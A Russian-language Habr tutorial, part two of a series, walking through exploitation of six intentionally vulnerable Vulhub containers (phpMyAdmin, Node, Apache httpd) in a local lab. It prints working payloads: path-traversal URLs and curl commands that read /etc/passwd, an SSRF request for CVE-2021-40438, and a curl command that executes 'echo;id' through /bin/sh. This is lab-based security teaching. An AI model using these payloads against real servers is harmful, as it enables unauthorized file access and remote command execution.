Атака на некоторые уязвимые веб-приложения Vulnhub. Эксплуатация уязвимостей. Часть 2

Всех приветствую читатели Хабра

Сегодня я снова поделюсь опытом анализа защищенности веб-приложений Vulnhub. Вот ссылка на первую часть https://habr.com/ru/articles/894508/

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны
И как всегда просьба не переходить на личности в коментариях, если вы обнаружил ошибку недочет или неточность просто без оскорблений напишите комментарий или напишите мне личным сообщением

В прошлой статье я описывал как устанавливать docker-compose и как поднимать машины на интерфейсе. Также там была ссылка на гитхаб где можно скачать данные машины. Очень рекомендую сначала ознакомиться с прошлой статьей. В этой статье я коснусь только запуска машин.

Алгоритм атаки будет прежний, за исключением энумерации, в этих примерах ее не будет:

  1. Запуск виртуальной машнины (уязвимого веб-приложения) в сетевом интерфейсе

  2. Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели

  3. Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации. Тут примеров и техник как и программ масса

Перейдем к практике. Две машины phpmyadmin, одна машина node, три машины httpd

I. Первая машина phpmyadmin, уязвимость CVE-2018–12613

Как всегда запускаем машину перейдя в каталог с файлом сраширением .yml введя команды в терминале каталога:

sudo docker-compose build
sudo docker-compose up -d
ifconfig

0cae1de33cb347b67cdca9e0e7e2ae19.png

Просканируем ip адрес бриджа (сетевого моста) на котором запущенна машина:

nmap 172.22.0.1
whatweb 172.22.0.1

d72381f4b2eae683087ffeb7a4e7bfab.png

Открыт порт 80, видно запущенные службы, сервисы, движки итд

Теперь зайдем на сайт Exploit-DB https://www.exploit-db.com/ и введем CVE-2018–12613 или 2018–12613. На сайте есть аж 4 эксплоита

dc6fff83842d733570eae5655acbf720.png66cfb2d6e723e5806c6f53a7f07959d2.png75af1300bd7e2b9926eba606d355ba8e.png42b036631b4b08730c5416a2a2a6706d.png7e005ec55c9a700016c8ded329207ec4.png

Поскольку порт на машине 80 (я подправил в данном случае для удобства конфигурационный файл докера) просто введем адрес 172.22.0.1 в адреснуя строку браузера. Пароль и логин от страница авторизации root root. Далее открывается главная страница

1be81e5c63d76630c7c4403458de80a6.png

Далее в адресной строке к значению http://локальный_ip: порт нужно добавить правильную строку, и вот она

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

То есть

http://локальный_ip:порт/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

После чего сразу откроется доступ к файлу /etc/passwd

7abea32e8bbab30c778b49edecf4830c.png

Как я уже отмечал в первой части, доступ к содержимому данного файла — серьезная брешь в безопасности системы

II. Вторая машина phpmyadmin, уязвимость CVE-2016–5734

Не забываем закрыть предидущую машину в предидущей директории командой

sudo docker-compose down

Переходим в папку с новой уязвимой машиной открываем в папке терминал и снова вводим команды сборки и запуска машины (третья команда по традиции для просмотра всех сетевых интерфейсов):

sudo docker-compose build
sudo docker-compose up -d
ifconfig

b1f646de4d591d71c095dc20d1688172.png

И снова машина запущена на бридже, просканируем его:

nmap 172.23.0.1
whatweb 172.23.0.1

2e7a4927eaba96cfd572f905a3df3368.png

И снова заходим по ip в браузер авторизуемся парой логин-пароль root root

8aaf7617b8b8369d36b385153043045b.png118f47c28a3327730a516d7e15ade88a.png

Далее снова Exploit-DB https://www.exploit-db.com/exploits/40185/ на нем необходимый мне эксплоит. Просто копирую его

e4997f66c05fd95a3ab31af0a48b5182.png179419d40ceda8a86d9e5aa29478a39a.png

А затем создаю скрипт на питоне в директории откуда «веду атаку»:

nano attack.py

Запускаю скрипт таким образом:

python3 attack.py -c 'system(id);' -u root -p root -d test http://ip_уязвимой_машины:80

1b983df08b40c06c36599e350faff32d.png

И вижу ответ сервера — идентификаторы пользователей и групп, что так же является брешью в безопасности как упоминалось в первой части.

III. Третья машина node, уязвимость CVE-2017–14849

Снова роняю старую машину, запускаю настоящую, проверяю сетевой интерфейс

ee91c7a81602f7db828b30f9b6cf2f24.png

Сканирую бридж машины

nmap 172.28.0.1
curl http://172.28.0.1:3000

2cd4c40f6bcc401f60812e4df6e877af.png

Curl-ом проверил готовность сервера — ответ есть, порт 3000, как нам подсказал nmap

Далее открываю инструмент burp suite перехожу во вкладку прокси, нажимаю перехват пакетов intercept on жму кнопку открыть браузер

5005518c171ae89ed18c67b8a3dd14c5.png

После чего открывается браузер и в адресной строке пишу искомый адрес 172.28.0.1:3000

6fe556fc60044cbfcc48e9d133f370ca.png

Возвращаюсь в burp жму правой кнопкой мыши по перехваченному пакету, отправлю в репитор (send to repeater), захожу в репитер

7f20653d8c814de4f2c273d541da5b20.png

Далее врепитере стандартный request необходимо заменить очень специфичным запросом. Вот он:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

9078767f2f46b491b7280b9e79e202ea.png

После чего нажимаю send и сервер отвечает (HTTP 200 OK), да еще как отвечает! Снова доступ к файлу /etc/passwd

e2419b9182a9663f52044e4f3614eff4.png

IV. Четвертая машина httpd, уязвимость CVE-2021–40438

Снова роняю старую машину запускаю новую итд…

Новая машина запущена на бридже 172.19.0.1. Сканирую

nmap 172.19.0.1

9bde613a3bd538c73012fff8aeaf988b.png

После чего открываю burp suite → вкладка прокси → включаю захват пакетов → открываю браузер → ввожу в адресную строку ip-бриджа: порт_который_я_вяснил_nmap-ом (8080) → снова захожу в burp → скидываю перехваченное в репитер → захожу в репитер.

8375364c70a227aa35528261a19ab860.pngd198fa2b500a13d0fa3f150ecc9cc664.pngbf372ec3783b58f994de79b408567868.png17be6589ffa991aff3e166fdcf095cbf.png

Далее внимательно!

Снова нужно подменить реквест, причем запрос снова крайне специфичен:

GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

745865d82016327365fa2cef68827667.png9697586a254efdfac59894bcfb6fdcd9.png

После чего нажимаем Send — оправить. И эта непонятная странная абракадабра — работает — сервер ответил — 200 OK.

68d37929aee820efed9c3f46c5a9ea74.png

Такой тип уязвимости называется SSRF — Server-Side Request Forgery — уязвимость позволяет удаленному, неаутентифицированному злоумышленнику заставить сервер httpd пересылать запросы на произвольный сервер. Очень серьезный тип атаки.

V. Пятая машина httpd, уязвимость CVE-2021–41773

Снова все теже действия: роняю старую машину запускаю новую…

8646a94094567e2b4234bdc0d890fbd0.png468ec47db6d23d6272b46edf06068cbb.png

Бридж 172.19.0.1, машина на нем. Сканирую

nmap 172.19.0.1

1e8fd4013a8c10ff6c0205aaa13116a3.png

Захожу в браузер по адресу 172.19.0.1:8080

e9906448160a53d069b37ac8dfbebd94.png

Далее эксплойт. Суть такова: необходимо сделать верный запрос curl в терминале:

curl -v --path-as-is http://172.19.0.1:8080/icons/../../../../etc/passwd

И снова доступ к упомянутому /etc/passwd

0ffca196d8609f2dfe1345899fc32bb6.png

Уязвимость проэксплуатирована.

V. Шестая машина httpd, уязвимость CVE-2021–42013

В шестой все теже действия: роняю старую машину запускаю новую… Правда в этот раз методом проб и ошибок выяснилось, что уязвимая машина запушена на 192.168.64.1. Произошло это в виду того, что мне пришлось скомутировать своюсеть иначе, так как в тот момент с роутером случились проблемы

175952f2828410e52ada4f99bc5886ec.png

Сканирую машину:

nmap 192.168.64.1

И сразу же первый эксплоит — снова запрос curl:

curl -v --path-as-is http://192.168.64.1:8080/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd

a329d5f82e270ea657837e509b35fad1.png

Далее при помощи того же curl узнаем идентификаторы пользователей и групп — вторая уязвимость:

curl -v --data "echo;id" 'http://192.168.64.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh'

b6f3a0060b25524b46303e9e66019202.png8eadea74aa5a3af3987ed8b0ce427da2.png

Сразу две уязвимости!

На сегодня все, уважаемые читатели Хабра, до новых встреч!

© Habrahabr.ru